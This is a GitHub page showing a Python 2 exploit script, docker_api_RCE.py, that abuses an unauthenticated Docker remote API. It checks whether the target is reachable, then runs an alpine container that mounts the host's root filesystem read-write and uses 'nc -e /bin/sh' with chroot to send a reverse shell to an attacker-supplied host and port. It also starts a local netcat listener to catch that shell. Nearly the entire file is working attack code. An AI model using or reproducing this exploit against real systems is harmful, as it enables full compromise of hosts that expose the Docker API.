-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathdocker_api_RCE.py
79 lines (61 loc) · 2.33 KB
/
docker_api_RCE.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python2
# -*- coding: utf-8 -*- ####################################################################################
# DESCRIPTION #
# If we have remote access to the docker api we can abuse it to pop shell #
#############################################################################################################
import docker
import signal
import sys
import os
import time
from multiprocessing import Process
# Handler to exist cleanly on ctrl+C
def signal_handler(signal, frame):
print "\nYou pressed Ctrl+C!"
sys.exit()
signal.signal(signal.SIGINT, signal_handler)
def is_vulnerable():
client = docker.DockerClient(base_url=URL)
data = client.containers.run('hello-world', r''' ''', remove=True)
if 'This message shows that your installation appears to be working correctly.' in data:
return True
else:
return False
def exploit():
if is_vulnerable() is True:
print("[+] %s Vulnerable" % URL)
else:
print("[-] %s Not vulnerable" % URL)
sys.exit(0)
time.sleep(3)
print("[+] Exploit")
client = docker.DockerClient(base_url=URL)
client.containers.run('alpine:latest', r'''sh -c "/usr/bin/nc %s %s -e /bin/sh -c 'chroot /mnt'" ''' % (LHOST, LPORT), remove=True, volumes={'/': {'bind': '/mnt', 'mode': 'rw'}})
if __name__ == '__main__':
try:
URL = sys.argv[1]
if sys.argv[2].lower() == 'check':
if is_vulnerable() is True:
print("[+] %s Vulnerable" % URL)
os._exit(0)
else:
print("[-] %s Not vulnerable" % URL)
os._exit(0)
except:
pass
if len(sys.argv) != 4:
print "Usage: %s <URL> <LHOST> <LPORT>" % (sys.argv[0])
print "\nEXAMPLE: ./docker_api_rce.py 'http://0.0.0.0:2375/' check"
print "EXAMPLE: ./docker_api_rce.py 'http://0.0.0.0:2375/' 10.10.14.24 1337\n"
sys.exit(0)
URL = sys.argv[1]
LHOST = sys.argv[2]
LPORT = sys.argv[3]
print "[+] LHOST = %s" % LHOST
print "[+] LPORT = %s" % LPORT
# Run exploit Async
p = Process(target=exploit)
p.start()
# Start listener
print("[+] Shell listen")
os.system('nc -lnvp %s' % LPORT)